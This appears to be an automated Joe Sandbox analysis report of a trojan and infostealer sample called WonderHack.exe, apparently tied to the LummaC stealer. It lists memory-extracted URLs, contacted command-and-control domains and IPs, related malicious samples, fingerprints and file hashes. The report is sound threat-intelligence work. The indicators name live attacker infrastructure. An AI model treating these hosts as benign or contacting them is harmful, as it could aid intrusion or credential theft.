https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.youtube.com	WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com	WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/sY	WonderHack.exe, 00000002.00000003.2532389602.0000000000F57000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2527201915.0000000000F69000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2532196517.0000000000F51000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	WonderHack.exe, 00000002.00000003.2479583191.00000000032E9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407281203.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/sH	WonderHack.exe, 00000002.00000003.2477331770.00000000032EA000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2477650404.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2453432872.00000000032ED000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2453505070.00000000032ED000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2453622723.00000000032EE000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2453716881.00000000032EE000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/i	WonderHack.exe, 00000002.00000002.2585120871.0000000000F58000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://s.ytimg.com;	WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.stP	WonderHack.exe, 00000002.00000003.2430204975.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/	WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steam.tv/	WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high
http://store.steampowered_	WonderHack.exe, 00000002.00000002.2585120871.0000000000EAC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/	WonderHack.exe, 00000002.00000003.2430204975.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000002.2585120871.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2573454494.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp	false	high
http://store.steampowered.com/privacy_agreement/	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/api6M	WonderHack.exe, 00000002.00000003.2407396885.0000000000EED000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407281203.0000000000EDC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://store.steampowered.com/points/shop/	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	WonderHack.exe, 00000002.00000003.2430953439.000000000332B000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431176780.0000000003329000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431020872.0000000003329000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	WonderHack.exe, 00000002.00000003.2478133377.0000000003325000.00000004.00000800.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	WonderHack.exe, 00000002.00000003.2478133377.0000000003325000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	WonderHack.exe, 00000002.00000003.2431470081.0000000003383000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431593063.0000000003337000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2453477056.0000000003337000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2453259214.0000000003337000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://sketchfab.com	WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	WonderHack.exe, 00000002.00000003.2430953439.000000000332B000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431176780.0000000003329000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431020872.0000000003329000.00000004.00000800.00020000.00000000.sdmp	false	high
https://lv.queniujq.cn	WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/profiles/76561199724331900/inventory/	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	WonderHack.exe, 00000002.00000003.2479252822.0000000003400000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.youtube.com/	WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/privacy_agreement/	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.microsof	WonderHack.exe, 00000002.00000003.2431470081.0000000003385000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/globalv2.	WonderHack.exe, 00000002.00000003.2430204975.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2430204975.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/recaptcha/	WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high
https://checkout.steampowered.com/	WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	WonderHack.exe, 00000002.00000003.2431593063.0000000003312000.00000004.00000800.00020000.00000000.sdmp	false	high
https://store.steampowered.com/;	WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/about/	WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/my/wishlist/	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://help.steampowered.com/en/	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/market/	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/news/	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	WonderHack.exe, 00000002.00000003.2430953439.000000000332B000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431176780.0000000003329000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431020872.0000000003329000.00000004.00000800.00020000.00000000.sdmp	false	high
http://store.steampowered.com/subscriber_agreement/	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2430172119.0000000000F61000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steambroadcast.akamaized.n	WonderHack.exe, 00000002.00000003.2430204975.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	WonderHack.exe, 00000002.00000003.2431470081.0000000003383000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431593063.0000000003337000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2453477056.0000000003337000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2453259214.0000000003337000.00000004.00000800.00020000.00000000.sdmp	false	high
https://recaptcha.net/recaptcha/;	WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/discussions/	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/HU	WonderHack.exe, 00000002.00000002.2585120871.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/apit	WonderHack.exe, 00000002.00000003.2573579275.0000000000F57000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000002.2585120871.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2545441913.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2573454494.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://store.steampowered.com/stats/	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://medal.tv	WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high
https://broadcast.st.dl.eccdnx.com	WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/steam_refunds/	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.c.lencr.org/0	WonderHack.exe, 00000002.00000003.2478133377.0000000003325000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	WonderHack.exe, 00000002.00000003.2478133377.0000000003325000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	WonderHack.exe, 00000002.00000003.2431593063.0000000003312000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	WonderHack.exe, 00000002.00000003.2430953439.000000000332B000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431176780.0000000003329000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431020872.0000000003329000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407281203.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/workshop/	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://login.steampowered.com/	WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.66.86	lev-tolstoi.com	United States	13335	CLOUDFLARENETUS	false
193.143.1.9	sendypaster.xyz	unknown	57271	BITWEB-ASRU	true
23.55.153.106	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579560
Start date and time:	2024-12-23 00:47:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	WonderHack.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/1@11/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 99% Number of executed functions: 19 Number of non-executed functions: 49
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.63, 4.245.163.56
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target WonderHack.exe, PID 3696 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
18:48:01	API Interceptor	12x Sleep call for process: WonderHack.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.66.86	MV ROCKET_PDA.exe	Get hash	malicious	FormBook	Browse	www.ayushigangwar.com/nqn4/?CJBlp=0Brh6Vr8UbBX&T2MpwT=59bmqUDXor7TXV4b71NCQ0d0nCVif23i1yH5+9ZmJc5hgCU7y+ZN9z0btTsWzGv6OrGw
193.143.1.9	Wave-Executor.exe	Get hash	malicious	LummaC	Browse
23.55.153.106	Launcher.exe	Get hash	malicious	LummaC	Browse
	Wave-Executor.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse
	8ZVMneG.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse
	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse
	zq6a1iqg.exe	Get hash	malicious	LummaC Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	Launcher.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	8ZVMneG.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254
	CompleteStudio.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	172.67.157.254
	alexshlu.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254
sendypaster.xyz	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	193.143.1.9
steppriflej.xyz	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	193.143.1.9
steamcommunity.com	Launcher.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	23.55.153.106
	8ZVMneG.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	qth5kdee.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	LgendPremium.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	f86nrrc6.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	Launcher.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	2.elf	Get hash	malicious	Unknown	Browse	172.237.152.235
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.211.121.53
	nshkarm7.elf	Get hash	malicious	Mirai	Browse	172.233.106.253
	nsharm7.elf	Get hash	malicious	Mirai	Browse	172.227.252.37
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.215.103.199
	nsharm.elf	Get hash	malicious	Mirai	Browse	23.1.235.104
	nshkmips.elf	Get hash	malicious	Mirai	Browse	23.44.132.66
	http://www.eventcreate.com/e/you-have-received-a-new-doc	Get hash	malicious	HTMLPhisher	Browse	172.235.158.251
BITWEB-ASRU	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	193.143.1.9
	https://mdgouv.com	Get hash	malicious	HTMLPhisher	Browse	193.143.1.14
	11029977736728949.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	11029977736728949.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	22054200882739718047.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	22054200882739718047.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	https://courtscali.com/	Get hash	malicious	Unknown	Browse	193.143.1.14
	18452302672446430694.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	18452302672446430694.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	2971435162666519472.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
CLOUDFLARENETUS	installer.msi	Get hash	malicious	Unknown	Browse	172.67.164.25
	external.exe	Get hash	malicious	LummaC	Browse	104.21.19.35
	Loader.exe	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	Launcher.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.151.193
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.191.144
	Full_Ver_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.63.229
	loligang.sh4.elf	Get hash	malicious	Mirai	Browse	162.158.254.178
	winwidgetshp.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.18.182
	https://cpanel05wh.bkk1.cloud.z.com/~cp197720/open/DD/	Get hash	malicious	HTMLPhisher	Browse	104.21.234.144

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	external.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Launcher.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Full_Ver_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	winwidgetshp.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.66.86 23.55.153.106
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86 23.55.153.106

Dropped Files

⊘No context

Created / dropped Files

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\WonderHack.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:OP5n:Ox
MD5:	32EB8D44A0938FBB8E8E87029CA719D8
SHA1:	13856311E78A959973D96B17544931AF22347E61
SHA-256:	C769F4AA36C38983F94D6F4599EE0A3623EC8D244969B9A1E4F4B91E86C0FF9F
SHA-512:	A6895D557270E69BE20349875587783B310B1B5A6922643FEA92875AD3D0899BB7B08F6F2206DE97194DA6DB9DDA1DC4AAE7759ED5684D18B36B9ECEDF0EAEDC
Malicious:	false
Reputation:	low
